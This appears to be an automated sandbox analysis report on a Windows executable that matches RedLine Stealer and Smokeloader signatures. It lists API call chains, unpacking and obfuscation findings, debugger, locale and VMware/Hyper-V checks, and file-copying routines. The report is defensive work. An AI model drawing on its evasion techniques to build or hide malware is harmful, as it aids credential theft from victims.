Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048ACA0F	0_2_048ACA0F
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04883A0F	0_2_04883A0F
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04885B2F	0_2_04885B2F
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048C8B64	0_2_048C8B64

Found potential string decryption / allocating functions

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Code function: String function: 00404610 appears 317 times

One or more processes crash

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1436 -s 1052

Uses 32bit PE files

Source: lxEu3xfjIb.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Yara signature match

Source: 00000000.00000002.2288500521.0000000002C23000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2288724291.0000000004840000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: lxEu3xfjIb.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.evad.winEXE@2/5@0/1

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Code function: 0_2_00418810 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00418810

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Code function: 0_2_00413970 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00413970

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\Y3JRHVM0.htm

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess1436

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\d3086a13-7b52-44cc-b9c5-e403a51bfe22

Jump to behavior

Source: lxEu3xfjIb.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\lxEu3xfjIb.exe "C:\Users\user\Desktop\lxEu3xfjIb.exe"
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 1436 -s 1052

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:	Binary string: my_library.pdbU source: lxEu3xfjIb.exe, 00000000.00000002.2288724291.0000000004840000.00000040.00001000.00020000.00000000.sdmp, lxEu3xfjIb.exe, 00000000.00000002.2287319130.0000000000400000.00000040.00000001.01000000.00000003.sdmp, lxEu3xfjIb.exe, 00000000.00000003.2088127603.0000000004920000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: my_library.pdb source: lxEu3xfjIb.exe, lxEu3xfjIb.exe, 00000000.00000002.2288724291.0000000004840000.00000040.00001000.00020000.00000000.sdmp, lxEu3xfjIb.exe, 00000000.00000002.2287319130.0000000000400000.00000040.00000001.01000000.00000003.sdmp, lxEu3xfjIb.exe, 00000000.00000003.2088127603.0000000004920000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Unpacked PE file: 0.2.lxEu3xfjIb.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:EW;.rdata:R;.data:W;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Unpacked PE file: 0.2.lxEu3xfjIb.exe.400000.0.unpack

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Code function: 0_2_00419F20 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00419F20

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0041B335 push ecx; ret	0_2_0041B348
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_02C25A3D push 7D7C6160h; retf	0_2_02C25A42
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_02C233F4 push cs; retn 0002h	0_2_02C2340E
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_02C2310D push cs; retn 0002h	0_2_02C2310E
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_02C23117 push cs; retn 0002h	0_2_02C23126
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0485B59C push ecx; ret	0_2_0485B5AF
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_048C9280 push ecx; ret	0_2_048C9293

Source: lxEu3xfjIb.exe

Static PE information: section name: .text entropy: 7.84625610084164

Extensive use of GetProcAddress (often used to hide API calls)

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

0_2_00419F20

Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

Found evaded block containing many API calls

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Evaded block: after key decision

Found large amount of non-executed APIs

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

API coverage: 6.3 %

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_004140F0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,FindNextFileA,FindClose,	0_2_004140F0
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040E530 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0040E530
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040BE40 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,memset,lstrcatA,lstrcatA,lstrcatA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040BE40
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040EE20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlenA,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0040EE20
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_00414B60 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,lstrcatA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00414B60
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_00413B00 wsprintfA,FindFirstFileA,lstrcatA,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcatA,lstrlenA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00413B00
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040DF10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040DF10
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_00401710 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00401710
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_004147C0 GetProcessHeap,HeapAlloc,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcatA,lstrcatA,lstrlenA,lstrlenA,	0_2_004147C0
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040DB80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040DB80
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0040F7B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040F7B0
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484E797 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_0484E797
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484F087 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_0484F087
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484C0A7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,memset,lstrcat,lstrcat,lstrcat,memset,lstrcat,lstrcat,lstrcat,memset,lstrcat,lstrcat,lstrcat,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_0484C0A7
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484E177 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0484E177
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04854357 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_04854357
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04854DC7 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_04854DC7
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484DDE7 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0484DDE7
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04853D67 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_04853D67
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04841977 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_04841977
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_0484FA17 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0484FA17
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_04854A27 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_04854A27

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Code function: 0_2_00401160 GetSystemInfo,ExitProcess,

0_2_00401160

Source: Amcache.hve.4.dr	Binary or memory string: VMware
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.4.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.4.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.4.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002CF5000.00000004.00000020.00020000.00000000.sdmp, lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002CC4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.4.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.4.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.4.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002C99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware Ng il
Source: Amcache.hve.4.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.4.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.4.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.4.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.4.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: lxEu3xfjIb.exe, 00000000.00000002.2288542652.0000000002C99000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: Amcache.hve.4.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.4.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.4.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.4.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.4.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.4.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.4.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	API call chain: ExitProcess graph end node

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Code function: 0_2_00404610 lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,GetProcessHeap,RtlAllocateHeap,lstrlenA,lstrlenA,lstrlenA,lstrlenA,LdrInitializeThunk,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,strlen,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,lstrlenA,VirtualProtect,

0_2_00404610

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Code function: 0_2_0041B058 memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0041B058

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

Code function: 0_2_00404610 VirtualProtect ?,00000004,00000100,00000000

0_2_00404610

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe

0_2_00419F20

Contains functionality to read the PEB

Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_00419AA0 mov eax, dword ptr fs:[00000030h]	0_2_00419AA0
Source: C:\Users\user\Desktop\lxEu3xfjIb.exe	Code function: 0_2_02C236A3 push dword ptr fs:[00000030h]	0_2_02C236A3
